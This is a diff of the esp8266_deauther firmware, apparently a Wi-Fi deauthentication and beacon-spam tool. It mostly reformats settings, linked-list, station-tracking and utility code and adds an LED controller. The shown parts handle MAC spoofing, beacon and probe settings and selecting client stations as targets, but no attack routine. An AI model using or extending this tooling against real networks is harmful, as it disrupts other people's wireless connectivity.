if (data.containsKey(keyword(S_BEACONCHANNEL))) setBeaconChannel(data.get<bool>(keyword(S_BEACONCHANNEL)));
|
||||
|
||||
if (data.containsKey(keyword(S_BEACONINTERVAL))) setBeaconInterval(data.get<bool>(keyword(S_BEACONINTERVAL)));
|
||||
|
||||
if (data.containsKey(keyword(S_RANDOMTX))) setRandomTX(data.get<bool>(keyword(S_RANDOMTX)));
|
||||
|
||||
if (data.containsKey(keyword(S_PROBESPERSSID))) setProbesPerSSID(data.get<uint8_t>(keyword(S_PROBESPERSSID)));
|
||||
|
||||
if (version != VERSION) {
|
||||
@@ -62,6 +86,7 @@ void Settings::load() {
|
||||
|
||||
// check and fix mac
|
||||
if (!macValid(macSt)) getRandomMac(macSt);
|
||||
|
||||
if (!macValid(macAP)) getRandomMac(macAP);
|
||||
|
||||
save(true); // force saving
|
||||
@@ -69,6 +94,7 @@ void Settings::load() {
|
||||
|
||||
void Settings::load(String filepath) {
|
||||
String tmp = FILE_PATH;
|
||||
|
||||
FILE_PATH = filepath;
|
||||
load();
|
||||
FILE_PATH = tmp;
|
||||
@@ -169,6 +195,7 @@ String Settings::getJsonStr() {
|
||||
void Settings::save(bool force) {
|
||||
if (force || changed) {
|
||||
String buf = getJsonStr();
|
||||
|
||||
if (writeFile(FILE_PATH, buf)) {
|
||||
prnt(S_SETTINGS_SAVED);
|
||||
prntln(FILE_PATH);
|
||||
@@ -182,6 +209,7 @@ void Settings::save(bool force) {
|
||||
|
||||
void Settings::save(bool force, String filepath) {
|
||||
String tmp = FILE_PATH;
|
||||
|
||||
FILE_PATH = filepath;
|
||||
save(force);
|
||||
FILE_PATH = tmp;
|
||||
@@ -189,6 +217,7 @@ void Settings::save(bool force, String filepath) {
|
||||
|
||||
void Settings::print() {
|
||||
String settingsJson = getJsonStr();
|
||||
|
||||
settingsJson.replace("{", "{\r\n");
|
||||
settingsJson.replace("}", "\r\n}");
|
||||
settingsJson.replace(",", "\r\n");
|
||||
@@ -455,7 +484,7 @@ void Settings::setBeaconInterval(bool beaconInterval) {
|
||||
}
|
||||
|
||||
void Settings::setChannel(uint8_t channel) {
|
||||
if (channel >= 1 && channel <= maxCh) {
|
||||
if ((channel >= 1) && (channel <= maxCh)) {
|
||||
Settings::channel = channel;
|
||||
setWifiChannel(channel);
|
||||
changed = true;
|
||||
@@ -468,7 +497,7 @@ void Settings::setChannel(uint8_t channel) {
|
||||
}
|
||||
|
||||
void Settings::setSSID(String ssid) {
|
||||
if (ssid.length() > 0 && ssid.length() <= 32) {
|
||||
if ((ssid.length() > 0) && (ssid.length() <= 32)) {
|
||||
ssid = fixUtf8(ssid);
|
||||
Settings::ssid = ssid;
|
||||
changed = true;
|
||||
@@ -478,7 +507,7 @@ void Settings::setSSID(String ssid) {
|
||||
}
|
||||
|
||||
void Settings::setPassword(String password) {
|
||||
if (password.length() >= 8 && password.length() <= 32) {
|
||||
if ((password.length() >= 8) && (password.length() <= 32)) {
|
||||
password = fixUtf8(password);
|
||||
Settings::password = password;
|
||||
changed = true;
|
||||
@@ -510,10 +539,8 @@ void Settings::setChTime(uint16_t chTime) {
|
||||
void Settings::setMacSt(String macStr) {
|
||||
uint8_t mac[6];
|
||||
|
||||
if(eqls(macStr, S_RANDOM))
|
||||
getRandomMac(mac);
|
||||
else
|
||||
strToMac(macStr, mac);
|
||||
if (eqls(macStr, S_RANDOM)) getRandomMac(mac);
|
||||
else strToMac(macStr, mac);
|
||||
|
||||
setMacSt(mac);
|
||||
}
|
||||
@@ -530,10 +557,8 @@ bool Settings::setMacSt(uint8_t* macSt){
|
||||
void Settings::setMacAP(String macStr) {
|
||||
uint8_t mac[6];
|
||||
|
||||
if(eqls(macStr, S_RANDOM))
|
||||
getRandomMac(mac);
|
||||
else
|
||||
strToMac(macStr, mac);
|
||||
if (eqls(macStr, S_RANDOM)) getRandomMac(mac);
|
||||
else strToMac(macStr, mac);
|
||||
|
||||
setMacAP(mac);
|
||||
}
|
||||
@@ -603,4 +628,3 @@ void Settings::setWebSpiffs(bool webSpiffs){
|
||||
Settings::webSpiffs = webSpiffs;
|
||||
changed = true;
|
||||
}
|
||||
|
||||
|
||||
@@ -6,11 +6,11 @@
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
}
|
||||
#include <ArduinoJson.h>
|
||||
#include "ArduinoJson.h"
|
||||
#include "language.h"
|
||||
#include "A_config.h"
|
||||
|
||||
#define VERSION "v2.0.5"
|
||||
#define VERSION "v2.0.6"
|
||||
|
||||
extern void checkFile(String path, String data);
|
||||
extern JsonVariant parseJSONFile(String path, DynamicJsonBuffer& jsonBuffer);
|
||||
@@ -97,6 +97,7 @@ class Settings {
|
||||
void setLang(String lang);
|
||||
void setSerialEcho(bool serialEcho);
|
||||
void setWebSpiffs(bool webSpiffs);
|
||||
|
||||
private:
|
||||
bool changed = false;
|
||||
|
||||
@@ -138,7 +139,4 @@ class Settings {
|
||||
String getJsonStr();
|
||||
};
|
||||
|
||||
#endif
|
||||
|
||||
|
||||
|
||||
#endif // ifndef Settings_h
|
||||
|
||||
@@ -32,6 +32,7 @@ class SimpleList{
|
||||
virtual void clear();
|
||||
virtual void sort(std::function<bool(T& a, T& b)>cmp);
|
||||
virtual void swap(int x, int y);
|
||||
|
||||
protected:
|
||||
int listSize;
|
||||
Node<T>* listBegin;
|
||||
@@ -71,13 +72,12 @@ SimpleList<T>::~SimpleList(){
|
||||
|
||||
template<typename T>
|
||||
Node<T>* SimpleList<T>::getNode(int index) {
|
||||
if(index < 0 || index >= listSize)
|
||||
return NULL;
|
||||
if ((index < 0) || (index >= listSize)) return NULL;
|
||||
|
||||
Node<T>* hNode = listBegin;
|
||||
int c = 0;
|
||||
|
||||
if(isCached && index >= lastIndexGot){
|
||||
if (isCached && (index >= lastIndexGot)) {
|
||||
c = lastIndexGot;
|
||||
hNode = lastNodeGot;
|
||||
}
|
||||
@@ -107,8 +107,7 @@ void SimpleList<T>::add(T obj){
|
||||
node->data = obj;
|
||||
node->next = NULL;
|
||||
|
||||
if(!listBegin)
|
||||
listBegin = node;
|
||||
if (!listBegin) listBegin = node;
|
||||
|
||||
if (listEnd) {
|
||||
listEnd->next = node;
|
||||
@@ -122,7 +121,7 @@ void SimpleList<T>::add(T obj){
|
||||
|
||||
template<typename T>
|
||||
void SimpleList<T>::add(int index, T obj) {
|
||||
if(index < 0 || index >= listSize){
|
||||
if ((index < 0) || (index >= listSize)) {
|
||||
add(obj);
|
||||
return;
|
||||
}
|
||||
@@ -131,8 +130,7 @@ void SimpleList<T>::add(int index, T obj){
|
||||
nodeNew->data = obj;
|
||||
nodeNew->next = NULL;
|
||||
|
||||
if(index == 0)
|
||||
listBegin = nodeNew;
|
||||
if (index == 0) listBegin = nodeNew;
|
||||
else {
|
||||
Node<T>* nodePrev = getNode(index - 1);
|
||||
nodeNew->next = nodePrev->next;
|
||||
@@ -144,15 +142,14 @@ void SimpleList<T>::add(int index, T obj){
|
||||
|
||||
template<typename T>
|
||||
void SimpleList<T>::replace(int index, T obj) {
|
||||
if(index >= 0 && index < listSize){
|
||||
if ((index >= 0) && (index < listSize)) {
|
||||
getNode(index)->data = obj;
|
||||
}
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
void SimpleList<T>::remove(int index) {
|
||||
if (index < 0 || index >= listSize)
|
||||
return;
|
||||
if ((index < 0) || (index >= listSize)) return;
|
||||
|
||||
Node<T>* nodePrev = getNode(index - 1);
|
||||
Node<T>* nodeToDelete = getNode(index);
|
||||
@@ -161,8 +158,8 @@ void SimpleList<T>::remove(int index){
|
||||
listBegin = nodeToDelete->next;
|
||||
} else {
|
||||
nodePrev->next = nodeToDelete->next;
|
||||
if(!nodePrev->next)
|
||||
listEnd = nodePrev;
|
||||
|
||||
if (!nodePrev->next) listEnd = nodePrev;
|
||||
}
|
||||
|
||||
delete nodeToDelete;
|
||||
@@ -175,12 +172,13 @@ void SimpleList<T>::remove(int index){
|
||||
template<typename T>
|
||||
T SimpleList<T>::get(int index) {
|
||||
Node<T>* hNode = getNode(index);
|
||||
return (hNode ? hNode->data : T());
|
||||
return hNode ? hNode->data : T();
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
int SimpleList<T>::search(std::function<bool(T& a)>cmp) {
|
||||
int i = 0;
|
||||
|
||||
Node<T>* hNode = getNode(i);
|
||||
bool found = cmp(hNode->data);
|
||||
|
||||
@@ -196,6 +194,7 @@ int SimpleList<T>::search(std::function<bool(T &a)> cmp){
|
||||
template<typename T>
|
||||
int SimpleList<T>::searchNext(std::function<bool(T& a)>cmp) {
|
||||
int i = lastIndexGot;
|
||||
|
||||
Node<T>* hNode = lastNodeGot;
|
||||
bool found = cmp(hNode->data);
|
||||
|
||||
@@ -212,6 +211,7 @@ template<typename T>
|
||||
int SimpleList<T>::binSearch(std::function<int(T& a)>cmp, int lowerEnd, int upperEnd) {
|
||||
int res;
|
||||
int mid = (lowerEnd + upperEnd) / 2;
|
||||
|
||||
Node<T>* hNode = listBegin;
|
||||
int hIndex = 0;
|
||||
|
||||
@@ -257,8 +257,7 @@ int SimpleList<T>::count(std::function<bool(T &a)> cmp){
|
||||
|
||||
template<typename T>
|
||||
T SimpleList<T>::pop() {
|
||||
if(listSize <= 0)
|
||||
return T();
|
||||
if (listSize <= 0) return T();
|
||||
|
||||
T data = listEnd->data;
|
||||
remove(listSize - 1);
|
||||
@@ -267,8 +266,7 @@ T SimpleList<T>::pop(){
|
||||
|
||||
template<typename T>
|
||||
T SimpleList<T>::shift() {
|
||||
if(listSize <= 0)
|
||||
return T();
|
||||
if (listSize <= 0) return T();
|
||||
|
||||
T data = listBegin->data;
|
||||
remove(0);
|
||||
@@ -277,14 +275,13 @@ T SimpleList<T>::shift(){
|
||||
|
||||
template<typename T>
|
||||
void SimpleList<T>::clear() {
|
||||
while(listSize > 0)
|
||||
remove(0);
|
||||
while (listSize > 0) remove(0);
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
void SimpleList<T>::swap(int x, int y) {
|
||||
// only continue when the index numbers are unequal and at least 0
|
||||
if(x != y && x >= 0 && y >= 0){
|
||||
if ((x != y) && (x >= 0) && (y >= 0)) {
|
||||
if (x > y) { // the first index should be smaller than the second. If not, swap them!
|
||||
int h = x;
|
||||
x = y;
|
||||
@@ -312,21 +309,18 @@ void SimpleList<T>::swap(int x, int y){
|
||||
Node<T>* nodeI = getNode(y + 1); // y.next
|
||||
|
||||
// a -> h -> i b -> c -> ... -> g -> h -> i
|
||||
if(nodeA)
|
||||
nodeA->next = nodeH;
|
||||
else
|
||||
listBegin = nodeH;
|
||||
if (nodeA) nodeA->next = nodeH;
|
||||
else listBegin = nodeH;
|
||||
|
||||
// a -> h -> c -> ... -> g -> h -> i b -> i
|
||||
if (nodeH != nodeC) // when nodes between b and h exist
|
||||
nodeH->next = nodeC;
|
||||
else
|
||||
nodeH->next = nodeB;
|
||||
else nodeH->next = nodeB;
|
||||
|
||||
// a -> h -> i b -> i
|
||||
nodeB->next = nodeI;
|
||||
if(!nodeI)
|
||||
listEnd = nodeB;
|
||||
|
||||
if (!nodeI) listEnd = nodeB;
|
||||
|
||||
// a -> h -> c -> ... -> g -> b -> i
|
||||
if (nodeG != nodeB) // when more than 1 nodes between b and h exist
|
||||
@@ -341,6 +335,7 @@ void SimpleList<T>::sort(std::function<bool(T &a, T &b)> cmp) {
|
||||
|
||||
int indexH; // index of node i
|
||||
int indexMin; // index of next minimum node
|
||||
|
||||
Node<T>* nodeMin; // next minimum node
|
||||
Node<T>* nodeH; // helper node at index j
|
||||
|
||||
@@ -348,8 +343,10 @@ void SimpleList<T>::sort(std::function<bool(T &a, T &b)> cmp) {
|
||||
nodeMin = getNode(i);
|
||||
indexH = i;
|
||||
indexMin = i;
|
||||
|
||||
for (int j = i + 1; j < listSize; j++) {
|
||||
nodeH = getNode(j);
|
||||
|
||||
if (cmp(nodeMin->data, nodeH->data)) {
|
||||
nodeMin = nodeH;
|
||||
indexMin = j;
|
||||
@@ -359,4 +356,4 @@ void SimpleList<T>::sort(std::function<bool(T &a, T &b)> cmp) {
|
||||
}
|
||||
}
|
||||
|
||||
#endif
|
||||
#endif // ifndef SimpleList_h
|
||||
@@ -19,22 +19,22 @@ void Stations::add(uint8_t* mac, int accesspointNum) {
|
||||
|
||||
int Stations::findStation(uint8_t* mac) {
|
||||
int c = count();
|
||||
|
||||
for (int i = 0; i < c; i++) {
|
||||
if (memcmp(getMac(i), mac, 6) == 0)
|
||||
return i;
|
||||
if (memcmp(getMac(i), mac, 6) == 0) return i;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
void Stations::sort() {
|
||||
list->sort([](Station& a, Station& b) -> bool {
|
||||
return (*a.pkts < *b.pkts);
|
||||
return *a.pkts < *b.pkts;
|
||||
});
|
||||
}
|
||||
|
||||
void Stations::sortAfterChannel() {
|
||||
list->sort([](Station& a, Station& b) -> bool {
|
||||
return (a.ch > b.ch);
|
||||
return a.ch > b.ch;
|
||||
});
|
||||
}
|
||||
|
||||
@@ -46,6 +46,7 @@ void Stations::removeAll() {
|
||||
|
||||
void Stations::remove(int num) {
|
||||
if (!check(num)) return;
|
||||
|
||||
internal_remove(num);
|
||||
prnt(ST_REMOVED_STATION);
|
||||
prntln(num);
|
||||
@@ -55,9 +56,9 @@ void Stations::remove(int num) {
|
||||
void Stations::removeOldest() {
|
||||
int oldest = 0;
|
||||
int c = count();
|
||||
|
||||
for (int i = 1; i < c; i++) {
|
||||
if (*getTime(i) > *getTime(oldest))
|
||||
oldest = i;
|
||||
if (*getTime(i) > *getTime(oldest)) oldest = i;
|
||||
}
|
||||
internal_remove(oldest);
|
||||
changed = true;
|
||||
@@ -66,11 +67,10 @@ void Stations::removeOldest() {
|
||||
void Stations::printAll() {
|
||||
prntln(ST_HEADER);
|
||||
int c = count();
|
||||
if (c == 0)
|
||||
prntln(ST_LIST_EMPTY);
|
||||
|
||||
if (c == 0) prntln(ST_LIST_EMPTY);
|
||||
else
|
||||
for (int i = 0; i < c; i++)
|
||||
print(i, i == 0, i == c - 1);
|
||||
for (int i = 0; i < c; i++) print(i, i == 0, i == c - 1);
|
||||
}
|
||||
|
||||
void Stations::printSelected() {
|
||||
@@ -97,6 +97,7 @@ void Stations::print(int num) {
|
||||
|
||||
void Stations::print(int num, bool header, bool footer) {
|
||||
if (!check(num)) return;
|
||||
|
||||
if (header) {
|
||||
prntln(ST_TABLE_HEADER);
|
||||
prntln(ST_TABLE_DIVIDER);
|
||||
@@ -112,60 +113,70 @@ void Stations::print(int num, bool header, bool footer) {
|
||||
prnt(buildString(String(SPACE) + getTimeStr(num), String(), 10));
|
||||
prntln(buildString(String(SPACE) + getSelectedStr(num), String(), 9));
|
||||
|
||||
if (footer)
|
||||
prntln(ST_TABLE_DIVIDER);
|
||||
if (footer) prntln(ST_TABLE_DIVIDER);
|
||||
}
|
||||
|
||||
String Stations::getAPStr(int num) {
|
||||
if (getAP(num) < 0) return String();
|
||||
|
||||
return accesspoints.getSSID(getAP(num));
|
||||
}
|
||||
|
||||
uint8_t* Stations::getAPMac(int num) {
|
||||
if (!check(num)) return 0;
|
||||
|
||||
return WiFi.BSSID(list->get(num).ap);
|
||||
}
|
||||
|
||||
String Stations::getAPMacStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
uint8_t* mac = getAPMac(num);
|
||||
return bytesToStr(mac, 6);
|
||||
}
|
||||
|
||||
int Stations::getAP(int num) {
|
||||
if (!check(num)) return -1;
|
||||
|
||||
return accesspoints.find(list->get(num).ap);
|
||||
}
|
||||
|
||||
String Stations::getNameStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
return names.find(getMac(num));
|
||||
}
|
||||
|
||||
bool Stations::hasName(int num) {
|
||||
if (!check(num)) return false;
|
||||
|
||||
return names.findID(getMac(num)) >= 0;
|
||||
}
|
||||
|
||||
uint8_t* Stations::getMac(int num) {
|
||||
if (!check(num)) return 0;
|
||||
|
||||
return list->get(num).mac;
|
||||
}
|
||||
|
||||
String Stations::getMacStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
uint8_t* mac = getMac(num);
|
||||
return bytesToStr(mac, 6);
|
||||
}
|
||||
|
||||
String Stations::getMacVendorStr(int num) {
|
||||
String value;
|
||||
|
||||
if (check(num)) {
|
||||
value = getVendorStr(num) + ":";
|
||||
uint8_t* mac = getMac(num);
|
||||
|
||||
for (int i = 3; i < 6; i++) {
|
||||
if (mac[i] < 0x10) value += "0";
|
||||
value += String(mac[i], HEX);
|
||||
|
||||
if (i < 5) value += ":";
|
||||
}
|
||||
}
|
||||
@@ -174,6 +185,7 @@ String Stations::getMacVendorStr(int num) {
|
||||
|
||||
String Stations::getVendorStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
return searchVendor(list->get(num).mac);
|
||||
}
|
||||
|
||||
@@ -183,44 +195,46 @@ String Stations::getSelectedStr(int num) {
|
||||
|
||||
uint32_t* Stations::getPkts(int num) {
|
||||
if (!check(num)) return NULL;
|
||||
|
||||
return list->get(num).pkts;
|
||||
}
|
||||
|
||||
uint32_t* Stations::getTime(int num) {
|
||||
if (!check(num)) return NULL;
|
||||
|
||||
return list->get(num).time;
|
||||
}
|
||||
|
||||
String Stations::getTimeStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
uint32_t difference = currentTime - *getTime(num);
|
||||
|
||||
if (difference < 1000)
|
||||
return str(ST_SMALLER_ONESEC);
|
||||
else if (difference < 60000)
|
||||
return str(ST_SMALLER_ONEMIN);
|
||||
if (difference < 1000) return str(ST_SMALLER_ONESEC);
|
||||
else if (difference < 60000) return str(ST_SMALLER_ONEMIN);
|
||||
else {
|
||||
uint32_t minutes = difference / 60000;
|
||||
if (minutes > 60)
|
||||
return str(ST_BIGER_ONEHOUR);
|
||||
else
|
||||
return (String)minutes + str(STR_MIN);
|
||||
}
|
||||
|
||||
if (minutes > 60) return str(ST_BIGER_ONEHOUR);
|
||||
else return (String)minutes + str(STR_MIN);
|
||||
}
|
||||
}
|
||||
|
||||
bool Stations::getSelected(int num) {
|
||||
if (!check(num)) return false;
|
||||
|
||||
return list->get(num).selected;
|
||||
}
|
||||
|
||||
uint8_t Stations::getCh(int num) {
|
||||
if (!check(num)) return 0;
|
||||
|
||||
return list->get(num).ch;
|
||||
}
|
||||
|
||||
void Stations::select(int num) {
|
||||
if (!check(num)) return;
|
||||
|
||||
internal_select(num);
|
||||
prnt(ST_SELECTED_STATION);
|
||||
prntln(num);
|
||||
@@ -229,6 +243,7 @@ void Stations::select(int num) {
|
||||
|
||||
void Stations::deselect(int num) {
|
||||
if (!check(num)) return;
|
||||
|
||||
internal_deselect(num);
|
||||
prnt(ST_DESELECTED_STATION);
|
||||
prntln(num);
|
||||
@@ -236,15 +251,13 @@ void Stations::deselect(int num) {
|
||||
}
|
||||
|
||||
void Stations::selectAll() {
|
||||
for (int i = 0; i < count(); i++)
|
||||
internal_select(i);
|
||||
for (int i = 0; i < count(); i++) internal_select(i);
|
||||
prntln(ST_SELECTED_ALL);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Stations::deselectAll() {
|
||||
for (int i = 0; i < count(); i++)
|
||||
internal_deselect(i);
|
||||
for (int i = 0; i < count(); i++) internal_deselect(i);
|
||||
prntln(ST_DESELECTED_ALL);
|
||||
changed = true;
|
||||
}
|
||||
@@ -255,6 +268,7 @@ int Stations::count() {
|
||||
|
||||
int Stations::selected() {
|
||||
int num = 0;
|
||||
|
||||
for (int i = 0; i < count(); i++)
|
||||
if (getSelected(i)) num++;
|
||||
return num;
|
||||
@@ -276,12 +290,14 @@ bool Stations::internal_check(int num) {
|
||||
|
||||
void Stations::internal_select(int num) {
|
||||
Station changedStation = list->get(num);
|
||||
|
||||
changedStation.selected = true;
|
||||
list->replace(num, changedStation);
|
||||
}
|
||||
|
||||
void Stations::internal_deselect(int num) {
|
||||
Station changedStation = list->get(num);
|
||||
|
||||
changedStation.selected = false;
|
||||
list->replace(num, changedStation);
|
||||
}
|
||||
@@ -294,8 +310,7 @@ void Stations::internal_remove(int num) {
|
||||
}
|
||||
|
||||
void Stations::internal_add(uint8_t* mac, int accesspointNum) {
|
||||
if (count() >= STATION_LIST_SIZE)
|
||||
removeOldest();
|
||||
if (count() >= STATION_LIST_SIZE) removeOldest();
|
||||
|
||||
Station newStation;
|
||||
newStation.ap = accesspointNum;
|
||||
@@ -314,6 +329,7 @@ void Stations::internal_add(uint8_t* mac, int accesspointNum) {
|
||||
|
||||
void Stations::internal_removeAll() {
|
||||
int c = count();
|
||||
|
||||
for (int i = 0; i < c; i++) {
|
||||
free(getMac(i));
|
||||
free(getPkts(i));
|
||||
@@ -321,6 +337,3 @@ void Stations::internal_removeAll() {
|
||||
}
|
||||
list->clear();
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -66,6 +66,7 @@ class Stations {
|
||||
|
||||
bool check(int num);
|
||||
bool changed = false;
|
||||
|
||||
private:
|
||||
struct Station {
|
||||
uint8_t ap;
|
||||
@@ -89,7 +90,4 @@ class Stations {
|
||||
void internal_removeAll();
|
||||
};
|
||||
|
||||
#endif
|
||||
|
||||
|
||||
|
||||
#endif // ifndef Stations_h
|
||||
16
esp8266_deauther/StatusLED.h
Normal file
16
esp8266_deauther/StatusLED.h
Normal file
@@ -0,0 +1,16 @@
|
||||
#ifndef StatusLED_H
|
||||
#define StatusLED_H
|
||||
|
||||
#include "Arduino.h"
|
||||
|
||||
class StatusLED {
|
||||
public:
|
||||
virtual ~StatusLED() = default;
|
||||
|
||||
virtual void setup() = 0;
|
||||
|
||||
virtual void setColor(uint8_t r, uint8_t g, uint8_t b) = 0;
|
||||
virtual void setBrightness(uint8_t brightness) = 0;
|
||||
};
|
||||
|
||||
#endif // ifndef StatusLED_H
|
||||
@@ -18,25 +18,13 @@ extern "C" {
|
||||
#include "Attack.h"
|
||||
#include "SerialInterface.h"
|
||||
#include "DisplayUI.h"
|
||||
#include "DigitalLed.h"
|
||||
#include "RGBLed.h"
|
||||
#include "Neopixel.h"
|
||||
#include "A_config.h"
|
||||
#include "webfiles.h"
|
||||
|
||||
#ifdef DIGITAL_LED
|
||||
DigitalLed led;
|
||||
#endif
|
||||
|
||||
#ifdef RGB_LED
|
||||
RGBLed led;
|
||||
#endif
|
||||
|
||||
#ifdef NEOPIXEL_LED
|
||||
Neopixel led;
|
||||
#endif
|
||||
#include "LEDController.h"
|
||||
|
||||
// Run-Time Variables //
|
||||
LEDController* led;
|
||||
Settings settings;
|
||||
Names names;
|
||||
SSIDs ssids;
|
||||
@@ -55,9 +43,6 @@ uint32_t currentTime = 0;
|
||||
bool booted = false;
|
||||
|
||||
void setup() {
|
||||
// "fix" for RGB LEDs
|
||||
analogWriteRange(0xff);
|
||||
|
||||
// for random generator
|
||||
randomSeed(os_random());
|
||||
|
||||
@@ -74,6 +59,7 @@ void setup() {
|
||||
|
||||
// auto repair when in boot-loop
|
||||
uint8_t bootCounter = EEPROM.read(0);
|
||||
|
||||
if (bootCounter >= 3) {
|
||||
prnt(SETUP_FORMAT_SPIFFS);
|
||||
SPIFFS.format();
|
||||
@@ -119,10 +105,9 @@ void setup() {
|
||||
// create scan.json
|
||||
scan.setup();
|
||||
|
||||
// set LED
|
||||
#ifdef DIGITAL_LED
|
||||
led.setup();
|
||||
#endif
|
||||
// setup LED
|
||||
led = new LEDController();
|
||||
led->setup();
|
||||
|
||||
// set channel
|
||||
setWifiChannel(settings.getChannel());
|
||||
@@ -159,12 +144,10 @@ void loop() {
|
||||
serialInterface.update(); // read and run serial input
|
||||
scan.update(); // run scan
|
||||
ssids.update(); // run random mode, if enabled
|
||||
#ifdef DIGITAL_LED
|
||||
led.update(); // update LED color
|
||||
#endif
|
||||
led->update(); // update LED color
|
||||
|
||||
// auto-save
|
||||
if (settings.getAutosave() && currentTime - autosaveTime > settings.getAutosaveTime()) {
|
||||
if (settings.getAutosave() && (currentTime - autosaveTime > settings.getAutosaveTime())) {
|
||||
autosaveTime = currentTime;
|
||||
names.save(false);
|
||||
ssids.save(false);
|
||||
@@ -178,8 +161,3 @@ void loop() {
|
||||
booted = true;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
}
|
||||
#include <ArduinoJson.h>
|
||||
#include "ArduinoJson.h"
|
||||
|
||||
/*
|
||||
Here is a collection of useful functions and variables.
|
||||
@@ -24,6 +24,7 @@ String escape(String str){
|
||||
str.replace(String(DOUBLEQUOTES), String(BACKSLASH) + String(DOUBLEQUOTES));
|
||||
return str;
|
||||
}
|
||||
|
||||
bool ascii(char c) {
|
||||
return c >= 0 && c <= 127;
|
||||
}
|
||||
@@ -38,9 +39,13 @@ bool getBit(uint8_t b, uint8_t n){
|
||||
|
||||
uint8_t utf8(uint8_t c) {
|
||||
if (!getBit(c, 7)) return 1;
|
||||
|
||||
if (getBit(c, 7) && getBit(c, 6) && !getBit(c, 5)) return 2;
|
||||
|
||||
if (getBit(c, 7) && getBit(c, 6) && getBit(c, 5) && !getBit(c, 4)) return 3;
|
||||
|
||||
if (getBit(c, 7) && getBit(c, 6) && getBit(c, 5) && getBit(c, 4) && !getBit(c, 3)) return 4;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -68,13 +73,16 @@ String fixUtf8(String str){
|
||||
}
|
||||
else {
|
||||
ok = true;
|
||||
|
||||
for (int j = 1; j < len && ok; j++) {
|
||||
ok = utf8Part(str.charAt(i + j)); // if following char is compliant or not
|
||||
}
|
||||
|
||||
if (ok) result += c; // everything is ok, add char and continue
|
||||
else { // utf8 char is broken
|
||||
for (int j = 1; j < len; j++) { // go through the next bytes
|
||||
c = str.charAt(i + j);
|
||||
|
||||
if (utf8(c) == 1) result += c; // when byte is ascii, add it :)
|
||||
}
|
||||
i += len - 1; // skip utf8 char because we already managed it
|
||||
@@ -117,9 +125,11 @@ int utf8Len(String str){
|
||||
if (len <= 1) result++; // when 1 byte char, add 1 :)
|
||||
else {
|
||||
result++;
|
||||
|
||||
for (int j = 1; j < len; j++) {
|
||||
c = str.charAt(i + j);
|
||||
if(!utf8Part(c) && utf8(c) == 1){
|
||||
|
||||
if (!utf8Part(c) && (utf8(c) == 1)) {
|
||||
Serial.println(c, HEX);
|
||||
result++; // if following char is compliant or not
|
||||
}
|
||||
@@ -158,6 +168,7 @@ String replaceUtf8(String str, String r){
|
||||
// for reading Strings from the PROGMEM
|
||||
String str(const char* ptr) {
|
||||
char keyword[strlen_P(ptr)];
|
||||
|
||||
strcpy_P(keyword, ptr);
|
||||
return String(keyword);
|
||||
}
|
||||
@@ -165,6 +176,7 @@ String str(const char* ptr){
|
||||
// for converting keywords
|
||||
String keyword(const char* keywordPtr) {
|
||||
char keyword[strlen_P(keywordPtr)];
|
||||
|
||||
strcpy_P(keyword, keywordPtr);
|
||||
|
||||
String str = "";
|
||||
@@ -188,15 +200,20 @@ bool eqls(const char* str, const char* keywordPtr){
|
||||
|
||||
uint8_t lenStr = strlen(str);
|
||||
uint8_t lenKeyword = strlen(keyword);
|
||||
if(lenStr > lenKeyword) return false; // string can't be longer than keyword (but can be smaller because of '/' and ',')
|
||||
|
||||
if (lenStr > lenKeyword) return false; // string can't be longer than keyword (but can be smaller because of '/'
|
||||
// and ',')
|
||||
|
||||
uint8_t a = 0;
|
||||
uint8_t b = 0;
|
||||
bool result = true;
|
||||
|
||||
while (a < lenStr && b < lenKeyword) {
|
||||
if(keyword[b] == SLASH || keyword[b] == COMMA) b++;
|
||||
if ((keyword[b] == SLASH) || (keyword[b] == COMMA)) b++;
|
||||
|
||||
if (tolower(str[a]) != tolower(keyword[b])) result = false;
|
||||
if((a == lenStr && !result) || !result){ // fast forward to next comma
|
||||
|
||||
if (((a == lenStr) && !result) || !result) { // fast forward to next comma
|
||||
while (b < lenKeyword && keyword[b] != COMMA) b++;
|
||||
result = true;
|
||||
a = 0;
|
||||
@@ -220,7 +237,7 @@ String b2s(bool input){
|
||||
|
||||
// boolean to asterix *
|
||||
String b2a(bool input) {
|
||||
return (input ? String(ASTERIX) : String(SPACE));
|
||||
return input ? String(ASTERIX) : String(SPACE);
|
||||
}
|
||||
|
||||
// string to boolean
|
||||
@@ -232,15 +249,19 @@ bool s2b(String input){
|
||||
void prnt(String s) {
|
||||
Serial.print(s);
|
||||
}
|
||||
|
||||
void prnt(bool b) {
|
||||
Serial.print(b2s(b));
|
||||
}
|
||||
|
||||
void prnt(char c) {
|
||||
Serial.print(c);
|
||||
}
|
||||
|
||||
void prnt(const char* ptr) {
|
||||
Serial.print(FPSTR(ptr));
|
||||
}
|
||||
|
||||
void prnt(int i) {
|
||||
Serial.print((String)i);
|
||||
}
|
||||
@@ -248,25 +269,30 @@ void prnt(int i){
|
||||
void prntln() {
|
||||
Serial.println();
|
||||
}
|
||||
|
||||
void prntln(String s) {
|
||||
Serial.println(s);
|
||||
}
|
||||
|
||||
void prntln(bool b) {
|
||||
Serial.println(b2s(b));
|
||||
}
|
||||
|
||||
void prntln(char c) {
|
||||
Serial.println(c);
|
||||
}
|
||||
|
||||
void prntln(const char* ptr) {
|
||||
Serial.println(FPSTR(ptr));
|
||||
}
|
||||
|
||||
void prntln(int i) {
|
||||
Serial.println((String)i);
|
||||
}
|
||||
|
||||
/* ===== WiFi ===== */
|
||||
void setWifiChannel(uint8_t ch) {
|
||||
if(ch != wifi_channel && ch > 0 && ch < 15){
|
||||
if ((ch != wifi_channel) && (ch > 0) && (ch < 15)) {
|
||||
wifi_channel = ch;
|
||||
wifi_set_channel(wifi_channel);
|
||||
}
|
||||
